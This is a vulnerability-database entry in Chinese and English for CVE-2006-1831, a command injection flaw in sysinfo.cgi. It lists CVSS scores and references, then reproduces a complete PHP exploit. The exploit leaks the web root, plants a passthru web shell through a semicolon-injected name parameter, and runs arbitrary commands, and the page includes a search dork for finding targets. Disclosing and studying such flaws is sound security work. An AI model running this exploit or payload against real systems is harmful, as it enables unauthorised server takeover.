CVE-2006-1831
CVSS7.5
发布时间 :2006-04-19 12:06:00
修订时间 :2011-03-07 21:34:22
NMCOE    

[原文]Direct static code injection vulnerability in sysinfo.cgi in sysinfo 1.21 and possibly other versions before 2.25 allows remote attackers to execute arbitrary commands via a leading ; (semicolon) in the name parameter in a systemdoc action, which is injected into phpinfo.php.


[CNNVD]sysinfo sysinfo.cgi 静态代码注入漏洞(CNNVD-200604-306)

        sysinfo 1.21及其它2.25之前的可能版本中的sysinfo.cgi 存在直接静态代码注入漏洞。这使得远程攻击者可以借助于systemdoc行为中的name参数中的开始分号(;)执行任意命令,name参数被注入到phpinfo.php中。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1831
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1831
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-306
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/17523
(PATCH)  BID  17523
http://xforce.iss.net/xforce/xfdb/25906
(UNKNOWN)  XF  sysinfo-sysinfo-command-execution(25906)
http://www.vupen.com/english/advisories/2006/1360
(UNKNOWN)  VUPEN  ADV-2006-1360
http://secunia.com/advisories/19690
(VENDOR_ADVISORY)  SECUNIA  19690
http://milw0rm.com/exploits/1677
(UNKNOWN)  MILW0RM  1677

- 漏洞信息

sysinfo sysinfo.cgi 静态代码注入漏洞
高危 输入验证
2006-04-19 00:00:00 2007-08-13 00:00:00
远程  
        sysinfo 1.21及其它2.25之前的可能版本中的sysinfo.cgi 存在直接静态代码注入漏洞。这使得远程攻击者可以借助于systemdoc行为中的name参数中的开始分号(;)执行任意命令,name参数被注入到phpinfo.php中。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        Sysinfo Sysinfo 1.21
        Sysinfo Sysinfo 2.25
        http://www.coder-world.de/files/sysinfo.zip
        

- 漏洞信息 (1677)

SysInfo 1.21 (sysinfo.cgi) Remote Command Execution Exploit (EDBID:1677)
cgi webapps
2006-04-14 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "sysinfo.cgi 1.21 remote cmmnds xctn \r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: inurl:sysinfo.cgi ext:cgi\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to sysinfo.cgi\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /cgi-bin/sysinfo/ \n";
echo "php ".$argv[0]." localhost /cgi-bin/sysinfo/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost /cgi-bin/ ls -la -P1.1.1.1:80\r\n";
die;
}

/* tested on sysinfo.cgi v1.21:

   http;//[target]/cgi-bin/sysinfo.cgi?action=systemdoc&name=;[some_command]

   you don't see any output but you can redirect some shellcode to some file

   also you can disclose www path:

   http;//[target]/cgi-bin/sysinfo.cgi?action=debugger
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//step 1 -> retrieve application path
$packet ="GET ".$p."sysinfo.cgi?action=debugger HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("name=\"pfad\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$pfad=$temp2[0];
if ($pfad=='') {die("cannot retrieve document root...\r\n");}
echo "document root ->".$pfad."\r\n";


//step 2 -> we don't see any output, so let's create a php shell, you know, I'm phpcentric
$temp=";echo \<?php passtrhu\(\\\$_GET[cmd]\)?\> > ".$pfad."/phpinfo.php";
$temp=urlencode($temp);
$packet ="GET ".$p."sysinfo.cgi?action=systemdoc&name=".$temp." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);

//step 3 -> launch commands
$packet ="GET /phpinfo.php?cmd=".urlencode($cmd)." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
echo $html;
?>

# milw0rm.com [2006-04-14]
		

- 漏洞信息

24648
Sysinfoscript sysinfo.cgi name Variable Arbitrary Command Execution
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-04-14 Unknow
2006-04-14 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

 

 

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